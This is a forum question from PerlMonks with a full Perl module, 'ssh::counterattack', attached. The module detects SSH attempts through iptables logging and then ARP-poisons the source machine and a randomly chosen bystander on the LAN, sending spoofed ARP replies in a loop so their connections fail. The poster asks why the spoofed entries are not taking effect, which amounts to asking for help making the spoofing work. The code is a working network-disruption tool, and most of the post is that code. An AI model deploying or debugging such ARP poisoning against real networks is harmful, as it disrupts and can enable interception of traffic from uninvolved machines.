http://qs321.pair.com?node_id=1155112

QuillMeantTen has asked for the wisdom of the Perl Monks concerning the following question:

Greetings fellow monks
First thing, I am aware of this post so before anyone jumps the gun and beats me bloody I'd like to say a few words:
Even though I am most interested in computer security (in fact I'm planing to start a masters degree in that field next year) I did not write this script with wanton destruction in mind, just mischievous curiosity (ain't it worse?).
The idea came to me after other students told me that during the networking workshops at uni great pranks were to be played on unsuspecting marks : since all computers shared the same login and password one could decide to log into someone else's computer and either eject the legitimate user or reboot the machine.
So I thought, hey, iptables exists for one reason but turning the (ip)tables on the prankster might be fun too (at least having fount out how to do so). I came up with the following code, which
I do not intend to use on any network that is not mine to own and rule other as I see fit meaning made of machines I own as in paid for.
The idea behind it is quite simple:

  1. Populate a hash with all the ip/mac couples to be found on the local segment
  2. create a log and drop chain in iptables for tcp packets on port 22
  3. filter /var/log/messages for the word "ATTACK"
Upon an attack here is what happens:
  1. A random mac/ip couple is selected from the hash
  2. ARP replies are sent to the prankster, telling him my ip address is mapped to the random mac selected
  3. To prevent the periodic refresh of the arp cache (default 60 seconds, according to this), arp replies are sent to the target machine telling it the prankster's machine is at aa:bb:cc:dd:ee:ff (killing two birds with one stone, if my script worked the prankster would not be able to do much harm since any attempts at a tcp handshake would fail because of this, of course ping floods exist too)
  4. Sinceres replies from my own system are prevented (the echo part to arp_ignore
Alas, even after rereading my course material on the arp protocol (which is scant to say the least) and searching the internet for informations on the behaviour of linux systems when it comes to it I cant answer the question that bugs me most:

Even though wireshark indicates that the packets are correctly sent (and even warns me of duplicate macs for the same ip address during the capture) the arp cache of the machine I am using to trigger the script is not updated with the random mac.

So here I come, looking for your wisdom and hoping to learn more on this topic.

And the code I came up with:
It is one my first attempts at using module starter instead of single file scripts so I would also be grateful for informations and advice regarding my code layout/style
package ssh::counterattack; use 5.006; use strict; use warnings; use Getopt::Long; use File::Tail; use Net::ARP; use Net::Ping; use Net::Netmask; use autodie; use Exporter qw(import); our $VERSION = '0.01'; our @EXPORT_OK = qw/arp_lookup random_target monitor/; sub arp_lookup{ my ($net,$mask,$dev,$hash) = @_; print "$net\n$mask\n$dev\n"; my $block = new Net::Netmask($net,$mask); my @ips = $block->enumerate(); shift @ips; #get rid of first ip pop @ips;#get rid of last ip `/bin/echo 8 > /proc/sys/net/ipv4/conf/eth0/arp_ignore`; #stop mys +elf from #truthfully answering arp requests for my $i (0 .. 1){#does it twice in case we miss someone foreach my $ip(@ips){ my $p = Net::Ping->new('icmp'); if($p->ping($ip,0.02)){ my $mac = Net::ARP::arp_lookup($dev,$ip); if($mac =~ /(unknown|00\.00\.00\.00\.00\.00)/||$ip eq +$net){ next; } else{ $hash->{$ip} = $mac; print "$ip=>$hash->{$ip}\n"; } } } } `/bin/echo 0 > /proc/sys/net/ipv4/conf/eth0/arp_ignore`;#start ans +wering #truthfully again } sub random_target{ my ($hash) = @_; print "hash = $hash\n"; my @keys = keys %$hash; print @keys; my $n = int(rand($#keys)); return ($hash->{$keys[$n]},$keys[$n]); } sub setup{ `/sbin/iptables -N log-and-drop; /sbin/iptables -A log-and-drop -j LOG --log-prefix 'ATTACK'; /sbin/iptables -A log-and-drop -j DROP; /sbin/iptables -A INPUT -p tcp --dport 22 -j log-and-drop;`; } sub poison{ my($foe,$foe_mac,$bystander,$bystander_ip,$device,$myip) = @_; print "poisoning now\ndevice=$device\nmyip=$myip\n foe=$foe\nbystander=$bystander\nfoe_mac=$foe_mac\n"; for my $i (0 .. 120){ sleep(1); print "gagging bystander\n"; Net::ARP::send_packet($device, $foe, $bystander_ip, 'aa:bb:cc:dd:ee:ff', $bystander, 'reply'); print "lying to foe!\n"; Net::ARP::send_packet($device, $myip, $foe, $bystander, $foe_mac, 'reply'); } exit(0); } sub monitor{ my ($file,$hash,$device,$myip) = @_; my $line; unless(defined($hash)){ die "too bad, no hash given!\n"; } print "opening $file for tailing\n"; my $handle = File::Tail->new($file); while(defined($line=$handle->read)){ if($line=~/\AATTACK/){ print "got an attack\n$line\n"; $line=~m#SRC=(?<ip>\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})\s#; my $foe = $+{ip}; print "foe is $foe\n"; my $pid = fork(); if(defined($pid)){ print "this is $pid\n"; my @bystander; while(!defined($bystander[0])||$bystander[0] eq $foe|| +$bystander[0] eq $myip){ @bystander = random_target($hash); } poison($foe,$hash->{$foe},$bystander[0],$bystander[1], +$device,$myip) } else{ print "father here\n"; } } } } sub run{ setup(); my($file,$network,$device,$mask); $file = '/var/log/messages'; GetOptions("net=s"=>\$network, "device=s"=>\$device, "mask=s"=>\$mask) or die("not enough arguments, error on the cli\n"); if(!defined($network)||!defined($device)||!defined($mask)){ die("I need all my args!\n --net=10.0.0.5 --device=wlan0 --mask=255.255.255.0"); } my $hash = {}; arp_lookup($network,$mask,$device,$hash); #/var/log/messages print "monitoring $file\n"; monitor($file,$hash,$device,$network); } END{ print "cleaning iptables\n"; `/sbin/iptables -D log-and-drop -j LOG --log-prefix 'ATTACK'; /sbin/iptables -D log-and-drop -j DROP; /sbin/iptables -D INPUT -p tcp --dport 22 -j log-and-drop;`; print "goodbye!\n"; } 1;